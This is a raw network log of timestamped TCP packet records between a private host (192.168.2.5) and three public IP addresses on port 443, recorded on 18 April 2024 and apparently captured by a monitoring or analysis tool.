Apr 18, 2024 22:48:37.237272978 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.237294912 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.237310886 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.237328053 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.257703066 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.257710934 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.257740021 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.257751942 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.257761002 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.257762909 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.257776976 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.257798910 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.257819891 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.257844925 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.278537989 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278598070 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278631926 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278670073 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278681993 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.278697014 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278717995 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.278726101 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278793097 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278831959 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278839111 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.278844118 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.278867960 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.279206991 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.279267073 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.279304028 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.279305935 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.279318094 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.279357910 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.279364109 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.279400110 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.279405117 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.280184984 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.280220985 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.280260086 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.280265093 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.280277967 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.280302048 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.280333042 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.280370951 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.280376911 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.281112909 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.281157970 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.281166077 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.281171083 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.281222105 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.281225920 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.281963110 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282031059 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282049894 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.282056093 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282085896 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282094955 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.282100916 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282145023 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.282149076 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282156944 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282196045 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.282804966 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282876968 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282911062 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.282913923 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.282919884 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.283019066 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.283024073 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.283040047 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.283082962 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.284095049 CEST	49734	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:37.284115076 CEST	443	49734	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:37.333714008 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.333724022 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.333761930 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.333774090 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.333798885 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.333820105 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.333847046 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.351146936 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.351197958 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.351231098 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.351248980 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.351264954 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.351279020 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.351310015 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.364337921 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.364356041 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.364423990 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.364435911 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.364464045 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.367955923 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.368015051 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.368022919 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.368036032 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.368091106 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.368299007 CEST	49735	443	192.168.2.5	151.101.66.137
Apr 18, 2024 22:48:37.368318081 CEST	443	49735	151.101.66.137	192.168.2.5
Apr 18, 2024 22:48:37.379590988 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:37.379621983 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:37.379801035 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:37.380362988 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:37.380378962 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:37.778373957 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:37.778733969 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:37.778752089 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:37.779316902 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:37.779737949 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:37.779845953 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:37.779947996 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:37.824120998 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.782582045 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.782608032 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.782641888 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.782682896 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.782711983 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.782726049 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.782743931 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.782749891 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.782783985 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.782809019 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979485035 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979546070 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979584932 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979604006 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979641914 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979655981 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979701996 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979744911 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979784012 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979789019 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979820013 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979837894 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979862928 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979902983 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979928017 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979932070 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:39.979955912 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:39.979974031 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.176542997 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.176605940 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.176651955 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.176676035 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.176697969 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.176713943 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.176860094 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.176928043 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.176934004 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.176955938 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.176985979 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.177000999 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.177114964 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.177158117 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.177171946 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.177179098 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.177211046 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.177227974 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.372503996 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.372529030 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.372607946 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.372632980 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.372673988 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.373150110 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373164892 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373225927 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.373231888 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373264074 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.373621941 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373640060 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373701096 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.373704910 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373742104 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.373797894 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373812914 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373878956 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.373883963 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.373919010 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.374233007 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374248028 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374305964 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.374310970 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374349117 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.374474049 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374488115 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374541044 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.374547005 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374583006 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.374716043 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374754906 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374773026 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.374778986 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.374804974 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.374821901 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.569657087 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.569703102 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.569739103 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.569751978 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.569802999 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.569816113 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.569854975 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.569890022 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.569895029 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.569917917 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.569935083 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570111990 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570152998 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570172071 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570194960 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570224047 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570231915 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570334911 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570372105 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570401907 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570405960 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570437908 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570447922 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570764065 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570802927 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570828915 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570833921 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.570863962 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.570882082 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.571268082 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.571310043 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.571346045 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.571350098 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.571376085 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.571391106 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.571713924 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.571754932 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.571787119 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.571790934 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.571818113 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.571831942 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572009087 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572051048 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572063923 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572089911 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572105885 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572125912 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572451115 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572505951 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572537899 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572541952 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572567940 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572581053 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572607994 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572648048 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572670937 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572674990 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572699070 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572725058 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572817087 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572854996 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572871923 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572877884 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.572906971 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.572972059 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573014021 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573029041 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573036909 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573064089 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573081017 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573358059 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573398113 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573426008 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573430061 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573456049 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573473930 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573745012 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573782921 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573813915 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573817968 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573842049 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573856115 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573884010 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573921919 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573934078 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573944092 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.573967934 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.573988914 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.766587973 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.766658068 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.766690969 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.766701937 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.766743898 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767175913 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767220974 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767237902 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767244101 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767277002 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767290115 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767379045 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767431021 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767451048 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767455101 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767478943 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767497063 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767595053 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767640114 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767653942 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767659903 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767688990 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767700911 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767771006 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767817974 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767832994 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767838955 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767880917 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767889023 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.767940998 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.767987967 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.768007994 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768013000 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.768054008 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768064976 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768095970 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.768181086 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768183947 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.768214941 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.768243074 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768248081 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.768280029 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768347025 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768357992 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:40.768403053 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768806934 CEST	49738	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:40.768821001 CEST	443	49738	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:41.322559118 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.322585106 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.322839022 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.323251009 CEST	49739	443	192.168.2.5	104.17.24.14
